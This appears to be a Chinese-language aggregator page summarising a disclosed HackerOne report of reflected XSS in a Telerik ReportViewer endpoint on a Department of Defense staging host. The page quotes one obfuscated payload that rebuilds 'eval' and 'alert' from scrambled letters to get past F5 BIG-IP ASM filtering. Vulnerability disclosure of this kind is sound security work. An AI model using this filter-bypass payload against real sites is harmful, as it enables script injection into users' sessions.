Reflected XSS in `Telerik.ReportViewer.axd` with F5 BIG-IP ASM Bypass on `████`
该报告还没有中文解读。
原文摘录
摘自原文（3177 字符中的一小部分）
A reflected cross-site scripting (XSS) vulnerability exists in the `Telerik.ReportViewer.axd` endpoint on the staging subdomain of `███`. By fuzzing event handlers, i discovered that F5 BIG-IP Application Security Manager (ASM) blocks common handlers but fails to filter the …
原文中的代码
█████%22{var{3:s,2:h,5:a,0:v,4:n,1:e}=%27earltv%27}[self][0][v%2ba%2be%2bs](e%2bs%2bv%2bh%2bn)(origin)默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 U.S. Dept Of Defense 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @the_reinhardt · 版权归作者与 U.S. Dept Of Defense 所有